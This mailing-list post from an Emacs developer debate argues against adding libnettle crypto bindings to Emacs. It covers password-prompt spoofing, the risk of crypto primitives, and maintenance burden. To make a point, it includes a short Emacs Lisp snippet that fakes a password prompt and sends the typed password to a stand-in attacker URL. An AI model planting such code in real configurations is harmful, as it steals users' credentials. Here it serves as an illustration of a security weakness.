Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5

[Stephen J. Turnbull]

Ted Zlatanov writes:

 > SJT> Not relevant in the sense that it could be done with an anonymous
 > SJT> popup that says it's from Emacs, too.
 > 
 > The minibuffer is much harder to fake than a popup.

Sez you.  Sez me:

(defadvice find-file (before)
  (if (= (random 1000) 42)
      (url-fetch (format "http://blackh.at/gotcherpasswordSUCKER?passwd=%s";
                         (read-passwd "Encrypted file.  Type your password:"))))

Note that it doesn't matter which library on load-path contains the
defadvice.  Great security model you got there.

 > Furthermore, you don't know *which* passphrase is being requested,
 > so at the very least it can be annoying.  Oh, I know, we'll add
 > --with-pinentry-title and --with-pinentry-message flags.  Christ.

Sure, and you have to do that with read-passwd, too (see above).  Your
point might be?

 > It doesn't have to be an exclusive choice, and I'm not asking anyone to
 > do the work on either side.

Yes, you are.  You are asking Emacs to maintain it, in a form that
Stefan would prefer *not* to install it, for a period likely to be
decades.  This is the root of Stefan's reluctance, I suppose.

 > >> Trusting loosely coupled components is standard industry practice.
 > 
 > SJT> Trust and coupling are not in any particular relationship.  Viz. the
 > SJT> fundamental design of Qmail and Postfix, which are two MTAs designed
 > SJT> by acknowledged security experts.
 > 
 > qmail and Postfix are system applications that run as daemons.
 > Completely different from Emacs.  Emacs is more like Firefox or Chrome
 > with their embedded Javascript engines and layout renderers, as Lars
 > pointed out.  Those applications tend to use the platform's keychain
 > facilities and do the crypto work internally.

As applications, yes.  But who cares?  Try, "do they expose the crypto
facilities to users of their platform (eg, Javascript)?"  That's the
relevant question because that's what you're proposing to do with
Emacs Lisp.

 > DU> I don't think you can provide the same level of security using
 > DU> encryption primitives within Emacs.
 > 
 > Not currently, sure.  But at this point you're the one arguing
 > hypotheticals.

Not at all.  The presence of those primitives is an attractive
nuisance, encouraging security neophytes to roll-their-own authn/authz/
crypto systems.  If you want horror stories, there are plenty archived
at the RISKS forum and on CERT.  Statistically speaking, availability
of these functions will mean somebody *will* get screwed by a self-
injected security bug.

Of course, to some extent so is EPG/GPG doing so.  The question is to
what degree is each approach providing end-to-end security.  The folks
at GPG clearly believe that the single external applications is the more
secure approach, because they deliberately made changes to encourage
that.  The arguments I've heard against that approach all boil down to
"PITA", but we already knew that.  Security *necessarily* is a PITA.

 > SJT> Stupid, no, but there's a lot of evidence that they are ignorant
 > SJT> (including many developers incorporating security features in their
 > SJT> products), and that even experienced experts are oversight- and even
 > SJT> mistake-prone in this area.  Do you claim that that evidence is no
 > SJT> longer relevant?
 > 
 > I don't think you can justify taking away the freedom to choose because
 > it might be misused.

I'm not suggesting taking away anything that users already have.  I am
supporting Stefan's reluctance to install a new attractive nuisance
because of future maintenance costs, and that *despite* being an
advocate of users' freedom to choose.  It's not because I don't value
freedom, incuding freedom to choose.

 > DU> I don't get it.  Are there any platforms where Emacs work, while GPG
 > DU> does not?
 > 
 > Please don't turn my point into a debate about why can't I "just use
 > GnuPG."  I'm asking to have a choice.

Emacs doesn't have to provide it, though.  Lots of users have wanted
the choice to load DSOs from since around 2000, and that was denied
*in principle* for over a decade.

Installing bindings for libnettle isn't a matter of principle, it's a
matter of expedience, but still Emacs is under no obligation to give
you a choice that it thinks most users would refuse to use if they
were aware of the issues.

 > If only there were experts among us and I would allow my code to be
 > reviewed!

There are experts (both Daiki and Paul E claim to be such, at least
relative to you and me).  But shouldn't they have the freedom to
choose to *not* waste time on reviewing code that is (IMHO, YM
obviously Vs, etc, etc) a colossal mistake to install in the first
place?  Plus having to review the *uses* by Elisp developers?